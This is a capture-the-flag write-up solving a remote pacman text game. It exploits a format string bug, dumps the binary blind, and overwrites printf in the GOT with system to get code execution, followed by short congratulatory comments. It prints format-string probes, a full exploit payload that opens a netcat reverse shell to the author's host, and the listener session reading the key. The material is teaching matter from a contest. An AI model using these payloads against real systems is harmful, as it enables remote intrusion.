Category: pwnables
Amalgamated has banned the use of Solitaire due to loss of productivity.
The only employee who would write a new game for everyone only likes ‘retro’ games, and has placed a text-adventure version of pacman on a company server.
We don’t believe he could have coded this securely, and the server contains a vital key.
Connect to the game here and find the key.
nc a9.amalgamated.biz 60123
Summary: remote formatstring vulnerability, without binary
Looking around
This task is a text-mode pacman without enemies. You can move along the map, and take pills and powerpills. Also it’s 8bit emulation and you can’t take a powerpill when it increases powerpoins greater than 127. I haven’t found any bugs at first, so I decided to write a bot for scanning the map. It is stupid enough, but it covers the whole map :) bot.py
Unhappily, when I ate all pills, nothing had happened:
Later, I looked through the whole game (png’s in the ‘game’ folder) and noticed, that powerpills can be -128 and do not decrease when they are negative. 118th turn:
Oops, the ‘Item’ field is “take”. Why?
You can have noticed, this field depends on the value of POWERPOINTS. So it should be something like this:
puts(Messages[POWERPOINTS])
And when POWERPOINTS are negative, this code prints something from user input. Looks like it is probable to be formatstring vulnerability: printf(Messages[POWERPOINTS])
. Let’s check! But first, we didn’t know which “take” is printed. I tried to change the first one and it worked:
pacman $ (echo "fake"; head -n 118 history.txt) | nc a9.amalgamated.biz 60123 ... STATUS: Item: fake POWERPOINTS:-128 ...
Ok, let’s try some format:
pacman $ (echo "hey, %08x"; head -n 118 history.txt) | nc a9.amalgamated.biz 60123 ... STATUS: Item: hey, bfec4e54 POWERPOINTS:-128 ...
YES! It’s format string!
Dumping binary
What now? We don’t have a binary, so it’s unreal to exploit it. Let’s dump it via “%s” format. Why “%s”? Because it’s the only one, which allows printing data from arbitrary address.
First, we need to found number of argument to printf, which points to our buffer. It’s easy:
AAAABBBBCCCC%11$08x
prints AAAABBBBCCCC43434343, so %11$ points to CCCC. We can dump the binary with such format strings:
AAAABBBB\x01\x80\x04\x08%11$s
prints “AAAABBBB\x01\x80\x04\x08ELF…”
Here is a script for that. It is rather slow, but it works. When dumped, we should patch the first byte from 00 to 7F (standard ELF header).
Exploiting
Well, the dumped binary is rather corrupted, but we can find some useful things. A good idea is to find a piece of code where the format string bug is present. It is just after printing “Item”, so let’s find this string, and a xref to it:
LOAD:0804ADC7 aItem db 0Ah ; DATA XREF: main+99o LOAD:0804ADC7 db 'Item: ',0
LOAD:080496B2 mov dword ptr [esp], offset aStatus ; "\n\nSTATUS:" LOAD:080496B9 call sub_804843C LOAD:080496BE mov dword ptr [esp], offset aItem ; "\nItem: " LOAD:080496C5 call sub_804843C LOAD:080496CA movzx eax, byte ptr [ebp-0E2h] LOAD:080496D1 movsx eax, al LOAD:080496D4 mov eax, [ebp+eax*4-2E4h] LOAD:080496DB mov [esp], eax LOAD:080496DE call sub_804843C LOAD:080496E3 movzx eax, byte ptr [ebp-0E2h] LOAD:080496EA movsx eax, al LOAD:080496ED mov [esp+4], eax LOAD:080496F1 mov dword ptr [esp], offset aP ; "\nPOWERPOINTS:%d" LOAD:080496F8 call sub_804843C
sub_804843C
appears to be printf
. It’s nice target for overwriting at GOT! Let’s find printf@GOT:
LOAD:0804843C sub_804843C proc near LOAD:0804843C jmp off_804BF20
Ok, printf@GOT
is 804BF20
. If we overwrite it with system
address, the program will do system("POWERPOINTS: %d")
and other strings, and it will fail. But after the next turn, it will do system(our_format_string)
.
But how do we know system
address? Maybe you have noticed a string “Command limit reached. Reseting command buffer.”. Looks like it allows us to make a second format string without reconnect. The buffer is resetted after each 127 commands, so the second format string must be 128th command.
So exploit is:
- got current printf address with the first format string
- calculate corresponding system address; offset can be got from a5 host (gdb: p/x &printf – &system)
- send a format string which begins with argument to system and overwrites printf@got to system.
My exploit is here.
pacman $ py exploit.py Format string: ' nc a5.amalgamated.biz 3123 -e /bin/bash & # \xbf\x04\x08"\xbf\x04\x08%12616u%21$hn%34299u%22$hn' 20bf0408 0x3180L 22bf0408 0xb77bL Worked!
And listening netcat at a5:
z2_1@a5:~$ nc -lvp 3123 listening on [any] 3123 ... connect to [128.237.157.38] from AMALGAMATED-9.CLUB.CC.CMU.EDU [128.237.157.79] 47105 id uid=1005(pc) gid=1006(pc) groups=1006(pc) cat /home/pc/key true8_bit_is_best_bit
The flag: true8_bit_is_best_bit
PS: if you want to try it, I have saved original binary
4 comments
Skip to comment form
You guys are fucking sick, coding a bot to map the dungeon, lol
Awsome job!!!
Very nice write-up and good job!
Awesome work
Thanks for the Writeup :)